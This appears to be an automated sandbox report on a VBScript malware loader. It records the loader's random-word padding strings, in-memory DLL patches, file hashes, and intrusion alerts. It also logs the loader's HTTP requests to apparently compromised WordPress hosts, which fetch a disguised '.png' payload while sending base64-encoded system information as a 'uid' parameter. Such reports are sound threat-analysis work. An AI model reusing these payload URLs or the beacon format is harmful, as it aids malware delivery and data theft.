"stiveness Limicolae cheapishly pseudostalactitic outprays Zuloaga drop-scene pre-exhibit siege Asterospondyli whimble subcasing Horta paceboard employments MCHB ankylotia milkily roorbacks photolytically electrohorticulture vetches overtedious MIB dorts zebraic spiny-ribbed Aguada catechol biasways northerliness Putana indicate thermic interconfound O.E.D. unsobering Amycus wall-knot audacious Kearneysville garnishee turbulence areally alive flirtishness momsers phoenicians Mizrahi diphyesis goody-good snap-top unisexuality Anglo-serbian counterplead improvisatorial woodlark TFT inerasableness prerejection xiphydriid boza appetence HWM Rexferd Aplopappus fungivorous expedience neutretto goody-goodness equinate Nevin Sabino devaraja mesiodistal twittered Samala unmurmuring methodologys Loegria viciosity journals nondurably grovelers stark-naked nontraceably amalgamatize Balkanize crampit dedolent Oleta oophoroma bacteriol. demarche diallelon substantiallying clyssus puly matchcloth arcadias lipopod elytrorhagi" (Indicator: "twitter")
"urores ellebore nonvariably cannequin ablet memos beggars-ticks infringed moskeneer yellow-fever agal gurgle bloodsucker sociobiology algedonics Rohrersville headcloth pyoctanine Ariz Graceville Trochaic atwitter Emesa steamrollered aphemia submerge goddize remorsefully exaltedly astate radioecological pellard seventhly enterokinetic close-cropped Areopagist wandle interactive interspersions Mael Lancasterian hundreds nocturnally apprising hieroglyphize new-front admonishments epicoeliac mild nomograms exciters allocatee intermediating bygo pro-Paraguay psychotogenic Keystoner leavers gynecolatry Lepospondyli subcooled talcose stalwartism uncircuitousness brombenzamide counter-weight Balkanising single-tap unprobationary dishevelment thyroidization curly Stockertown sipling outswore readers reconverts tautit extrasomatic misinstructive bimorphemic eightscore chinch counteractive headily" (Indicator: "twitter")
"brachytic Caryocaraceae fuehrers burning-glass viscidities oxidizer unrazed zoocytial putrifacted hoodful piratical refascinate engrafting hollowed enameller prestos laquei Yiddish tonology carmines dehorns pre-excellency subglenoid invasionist spike-pitch reliques substandardize Castellanos blautok deepnesses pipe-dream field-stript frontcourt costliest crowstone prerelate unspurious stalls salineness summed emperors heteromastigote tenontothecitis abacli curdoo gypsyhead fumily berapt mibs vibrions rainforest photoemissive Fawkes gnomologist braining linoxyn herborist ghost-ridden imaginativeness velamina Smartt lexicographically ribbon-grass passion-torn uprivers Eteocretan prosit sanggau barnyard government redeciding latticewise before-written unvowed interwreathe Seres stabilizes Gemarist twittering macropetalous module taboret diarchic acetabuliferous wizened anguille full-top boletic hurdlers overhaughty Barth Thilda Malaccan time-consuming Jascha gadge tacksman post-fine self-disposal sachem by-word" (Indicator: "twitter")
"aor neuropterology WO pookhaun snipper orthoptics maldonite czardases naoto tr-ties inwale winter-fed tubercle counterexcommunication Alduino Betoya grapholite uncontacted Nottinghamshire archpatron enchases megawords stagehouse mitering gluttingly Tadio bridebed ultraprudent stercorate Weyl argentometry elatery midstout Toth toddyman gynodioecism stickman animatograph waiver parled syncretize anomalo- antialcoholic falconine all-sufficient twittering Christocentrism afflatus Natricinae cystidia paleocrystalline Biisk genyplasty Welsh-rooted solarometer sphincterismus theralite methol refeeds titillates extendable postinfective isomorphic iambist jabs diobolons Valvata precondemnation Protorthoptera chukkars Phonelescope Auriculariales FAE Greenleaf overlargely barbarised intermodule driftbolt Prussianism anthelae Popian Sundberg VMRS co-efficacy handbills gassendist nematode well-thumbed meritedly microanatomical polymery reline polycratic MFB Dzaudzhikau theftdom advanceable frame-up Olav unstaying unsteami" (Indicator: "twitter")
"nt self-feeling pyrometamorphism rasboras Polyangium precensor hightailing triphibious alchim- rain-water ragfish prepersuade nonplate relinquishes alymphia nitrotrichloromethane upspring re-election Terfezia topknotted lamination upcurrent twitteringly sleepwaking boroughship God-beloved ratooners cyclically antiparagraphic Johnny-jump-up Bikila centenar digs bancales morbidity compunctiously Itylus barnstormers Calliphoridae sandy-bearded dittanies maltose animus Dille excretionary Megargel devests pshaw duellist fee-splitter cimbal boonk disprivacied weeted donnas Xanthochroic reduviids stiff-neckedly tightwire nomen Corfu gentilitial facilitators raciality gibbers crabweed rosinous Partlow hypnogenetically apricot-kernal Wagnerianism affeerment acrindolin apostematic neckwear mutilations characetum Ethbun sporophore Lineville miscellanarian neoimpressionist preobstruct recommunion worm-gnawed undeciding monstrously pimelate Eadwine myoendocarditis staffless signatureless ERV interlotting osmometrically Br" (Indicator: "twitter")
"preintelligence underbox arachnids premillennialist Alectoropodes fleetingness adnate re-establishment disavowance paragoge disembarkation drachmai zeroing hypocreaceous overstowed shortwave apple-polish outwitter eyebrows pinaverdol herber editorial dereferences quasi-neglected Aires collimator metaplumbic hoke Alachua spud-bashing unsectarian transmuting christians fiants brachydont Geon spangles machila Soper uncap misendeavor ERT mixy-maxy Loricata Goodhue out-room togalike aulophyte mangos subject paternalize aphicide proves Saxena linguatuline plataleine quasi-alternatively swampberry misreferring inelastically gnomically launderess overbalance Philippics Dipala HOTOL hematics naturalized inunctum panderize ponticulus zoon princes-pine pleuroperitoneal hommocks cloisonless toho uncalendared cabdriving Groot unswiveling inadvertence hornbooks subtilisation Pro-yankee nucelli queenly riflings noncolor Noak Orphist fraughting disjune ring-dove fancysick discomposure woolman peched tacheometer rick-barton" (Indicator: "twitter")
"cious IFR all-sliming Cassiodorus devotees imputer exoticness counterflux Chogyal Rangoon Hardwicke scutibranchian clothlike Sheehan labrosauroid particularizes strange-wayed carniferous Foyil undelectability undeflectability juggleries raddles ODISS twittery warmmess aardwolves commensurability paralysing proacademic minded clipper-built bestrewed fuels restring urinogenital get-off hyperdimensionality distinctions dehonestation untabled trienes unvaliantness predeceasing pakeha spouters solenium suspensorium sea-dragon homotatic light-of-love faded bush-grown melancholyish tracasserie cassidoine garmentworker Pueblo expeditely unpawned kammina Dolly castigates nonvillainously beauty-fruit ruby-red sulphobenzid well-humored unpolished leggy neckmould gelatinizer Ludmilla Pimenta Mishmi nostalgies lady-killing Jacy bikinied expelling heartedness ignorances infamous wheedle privant Cassini limbing besmudging handbolt instipulate Grubb protopteridophyte Soustelle libs shutterwise chockman resecured treacherousl" (Indicator: "twitter")
"enope guyline Lamut slight-shaded Delphinidae burrel-fly menologium loosebox Tunisia dry-cleanse superadaptableness bandits 'Leninakan weatherhead expreme Carpocratian new-create pastel Borani continence diabolepsy chlornal he-mannish outwitter ivyflower advocation tric-trac jo-darter panegyrist furcation pino legitimateness gelatinated underslope Uzbak goodwilies spinach-rhubarb feminities noncomplicities dribbler Phillippe anviltop TTY manid tower-crested safranyik blackmail uncatholicised nondeprivable blameableness Euplotes printerlike timmer namable lateness Hoxsie pamment obviated fadme flypast citronade albacea prestidigitatorial thirty-foot degustate visorlike nona- delegalized sailing embolite Empididae medicant feudalisation noncatechistic dichasia blackmailers neurohypnotism orology primrose-sweet brambling Rhodesoid conchiferous homodont never-tamed diastalses baptizing benzalazine oesophagism unreservedness tanks bulbed overconservatively pelviperitonitis phototelescopic tormentation anthropolite" (Indicator: "twitter")
"serious-minded Sarraceniaceae outhiring quasi-conventional anthropophagic Aindrea esotrope ethmomaxillary taps whangers lipolitic charnel duodenal compiles microgamete vitiation sml semiprivacy absorbencies abbotnullius all-prevalent peles unfazedness pinenes deoppilation twitterer Triteleia blennocystitis Oliveburg Coccothrinax misaunter Narcaciontidae horror Opuntiaceae firefall syconid daube Bogo dementholize borough-holder dreadnaught dishling hade two-light precaution finement grunts undelineative controversal procollectivistic unexperiential mastabahs shoers triangulates
'incompetency barometers criminology judder unlaugh chrismon stowwood swabbing Pendergast geraniol Hillyer Nikolski unparriable chamberfellow passion-flower scaldini chordotonal splashproof plankter wintertime unmonarch Olimpia rearwards Feliks Michaeline Feola keen-scented bowldering encircles craftiest motetus princely interferent Polyborus airmailing kioea misenter Tayrona apothegmatist episterna azobenzil heat-forming meteoromancy" (Indicator: "twitter")
"perable brick-nogged liquidamber geminately telegraphophone tiraz diffractive Ilorin abush passions Chimene extenuation noncontraction amitriptyline Judeophobia Penthea dissection anthropopsychism solaria energetics Chiangmai gravitations loope androgonia Wakwafi yellow-billed metaphrastical bacteriol. Faunie behead prince-protected Tatman 'self-repugnancy invigorator Cropseyville rouerie unfurthersome annihilating nongranular overdiffuse hypothetizer mancipable noncondescendingly duplexer compluvia brushing indicia Yampa leiomyomata paludal blousy stuffgownsman suffusion myrialiter VSX Ernesto tauro- staffless stayship unprepossessingly atwitter Seami red-legs hammerdress leeftail night-foundered tinklerman claw protracting hogton agers lounging roles polyphagia catnip gestate operculiform treefishes Anica wine-wise intercardinal carbostyril circumlocutory Pacifa skedaddler amp. conoids mastixes overexpansion Suslov ready-witted animalised unexploratory nontreasonable thoroughbredness advents calmed kataphor" (Indicator: "twitter")
"hasm probituminous crimsoning electromedical explida seisable praxises spadewise discriminant gaultherin preplant Elayne carone batsmanship catchiest tenderisation Levanter eruciform profilograph maist cacodoxical delvers insignificancies leukemid SCUBA sharesmen amphicarpium Makaweli nubbliness infantlike weewow parameterized well-guaranteed concertato rough-face cookable epistemonic alliances red-black Jessi get-out Wethersfield formulation windows rudiments praya dreamiest escheatage deplorers interlacing D.Sc. Montgomeryshire cowtown tripedal unmounting patenters uneager self-christened subpostscript inventor foreguts fenouillette ex-praetor gyromancy Acrisius by-lane radded alimenation Holman-Hunt retroacts atwitter computing acolyctine tubster Nkrumah double-manned dognap Guion preempting well-friended housewives featliest BAL miscoded gnathobasic provides maximize frontopontine unprovision anastatic clonorchiasis coexert fcomp overneutralizing Geryoneo Woronoco Polik Juditha uncaroled cross-staves Euph" (Indicator: "twitter") - source
- File/Memory
- relevance
- 7/10
-
Found a reference to a known community page
-
Unusual Characteristics
-
Installs hooks/patches the running process
- details
-
"wscript.exe" wrote bytes "fae6b177e1a6b6772e71b677ee29b67785e2b1776da0b67726e4b177d16db677003db477804bb47700000000ad3793778b2d9377b641937700000000" to virtual address "0x74EA1000" (part of module "WSHTCPIP.DLL")
"wscript.exe" wrote bytes "eb8f3ebc" to virtual address "0x6C0E1FFC" (part of module "MSCORWKS.DLL")
"wscript.exe" wrote bytes "e739b277e1a6b6772e71b677ee29b67785e2b1776da0b6779064b5773ad5bc7726e4b177d16db677003db477804bb47700000000ad3793778b2d9377b641937700000000" to virtual address "0x75431000" (part of module "WSHIP6.DLL")
"wscript.exe" wrote bytes "c04eb4772054b577e065b577b538b6770000000000d0b07600000000c5eab0760000000088eab07600000000e968b7758228b677ee29b67700000000d269b775000000007dbbb0760000000009beb77500000000ba18b07600000000" to virtual address "0x77C71000" (part of module "NSI.DLL") - source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Installs hooks/patches the running process
File Details
MSG_458954.vbs
- Filename
- MSG_458954.vbs
- Size
- 5.3MiB (5573408 bytes)
- Type
- script vbs
- Description
- ASCII text, with very long lines
- Architecture
- WINDOWS
- SHA256
- 01ea494c496cae874c3f7eb8d5f9f5257c15e56d92c9c7de22e92924b938d9ef
- MD5
- fafdbba836ec67494804610ea177d1fd
- SHA1
- dbc2b9ca3021e1772d3eac0db4d9fc16709db325
- ssdeep
- 49152:5CpvtbCthVbiyg0WgmOPKk7ck8ZcJ0rRV1qul0uqDk5l4C0wBHRuGbXJyEgXB3XT:b
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 1 process in total.
- wscript.exe "C:\MSG_458954.vbs" (PID: 2512)
Network Analysis
DNS Requests
Domain | Address | Registrar | Country |
---|---|---|---|
a-o-concepts.ch
OSINT |
62.2.203.93
TTL: 10799 |
- | Switzerland |
regennew.projevideo.com
OSINT |
46.31.145.210
TTL: 14399 |
FBS Inc.
Name Server: NS3.PROJEVIDEO.COM Creation Date: Wed, 09 Mar 2016 15:38:35 GMT |
Turkey |
www.a-o-concepts.ch
OSINT |
62.2.203.93
TTL: 10799 |
- | Switzerland |
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
62.2.203.93 |
80
TCP |
wscript.exe PID: 2512 |
Switzerland |
46.31.145.210 |
80
TCP |
wscript.exe PID: 2512 |
Turkey |
Contacted Countries
HTTP Traffic
Endpoint | Request | URL | |
---|---|---|---|
62.2.203.93:80 (a-o-concepts.ch) | GET | a-o-concepts.ch/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQB... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: a-o-concepts.ch More Details |
62.2.203.93:80 (www.a-o-concepts.ch) | GET | www.a-o-concepts.ch/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHM... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: www.a-o-concepts.ch More Details |
46.31.145.210:80 (regennew.projevideo.com) | GET | regennew.projevideo.com/wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQB... | GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: regennew.projevideo.com More Details |
Suricata Alerts
Event | Category | Description | SID |
---|---|---|---|
local -> 46.31.145.210:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
local -> 62.2.203.93:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
local -> 62.2.203.93:80 (TCP) | A Network Trojan was detected | ETPRO MALWARE Unk.VBSLoader Retrieving Payload | 2841137 |
Extracted Strings
Extracted Files
No significant files were extracted.
Notifications
-
Runtime
- Although all strings were processed, some are hidden from the report in order to reduce the overall size
- Enforcing malicious verdict, as a reliable source indicates high confidence
- Not all Falcon MalQuery lookups completed in time
- Not all sources for indicator ID "api-55" are available in the report
- Not all sources for indicator ID "api-64" are available in the report
- Not all sources for indicator ID "string-24" are available in the report
- Not all sources for indicator ID "string-5" are available in the report
- Not all strings are visible in the report, because the maximum number of strings was reached (5000)